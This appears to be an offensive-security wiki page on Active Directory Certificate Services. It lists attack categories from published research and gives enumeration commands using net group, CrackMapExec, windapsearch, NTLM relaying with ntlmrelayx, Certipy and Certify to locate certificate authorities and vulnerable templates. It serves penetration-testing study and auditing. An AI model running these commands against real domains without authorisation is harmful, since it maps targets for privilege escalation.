Certificate Services (AD-CS)
AD CS is Microsoft’s PKI implementation that provides everything from encrypting file systems, to digital signatures, to user authentication (a large focus of our research), and more. While AD CS is not installed by default for Active Directory environments, from our experience in enterprise environments it is widely deployed, and the security ramifications of misconfigured certificate service instances are enormous. (specterops.io)
In their research papers, Will Schroeder and Lee Christensen shared their research on AD CS and identified multiple theft, escalation and persistence vectors.
- Credential theft (dubbed THEFT1 to THEFT5)
- Account persistence (dubbed PERSIST1 to PERSIST3)
- Domain escalation (dubbed ESC1 to ESC8)
- Domain persistence (dubbed DPERSIST1 to DPERSIST3)
- by trusting rogue CA certificates
While AD CS offers attackers a wide range of exploitation and persistence scenarios, this set of services is not always installed, and when it is, it is a requirement to identify its different parts in the domain.
An initial indicator is the "Cert Publishers" built-in group whose members usually are the servers where AD CS is installed (i.e. PKI/CA).
- From UNIX-like systems:
rpc net group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController" - From Windows systems:
net group "Cert Publishers" /domain
Alternatively, information like the PKI's CA and DNS names can be gathered through LDAP.
CrackMapExec
windapsearch
ntlmrelayx
crackmapexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs
windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'
With Impacket's ntlmrelayx (Python), thanks to SAERXCIT (PR#1214), it is possible to gather information regarding ADCS like the name and host of the CA, the certificate templates enrollment rights for those allowing client authentication and not requiring manager approval, etc. With ntlmrelayx, these information can be gathered through a relayed LDAP session.
ntlmrelayx -t "ldap://domaincontroller" --dump-adcs
UNIX-like
Windows
From UNIX-like systems, the Certipy (Python) tool can be used to operate multiple attacks and enumeration operations.
# enumerate and save text, json and bloodhound (original) outputs
certipy find -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -old-bloodhound
# quickly spot vulnerable elements
certipy find -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout
Certipy also supports BloodHound. With the
-old-bloodhound option, the data will be exported for the original version of BloodHound. With the -bloodhound option, the data will be exported for the modified version of BloodHound, forked by Certipy's author (default output when no flag is set).The tool also supports multiple output types (text, json, stdout).
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The
-scheme flag can be used to set whether to use LDAP or LDAPS.From Windows systems, the Certify (C#) tool can be used to operate multiple attacks and enumeration operations.
Certify.exe cas
The different domain escalation scenarios are detailed in the following parts.
Last modified 3mo ago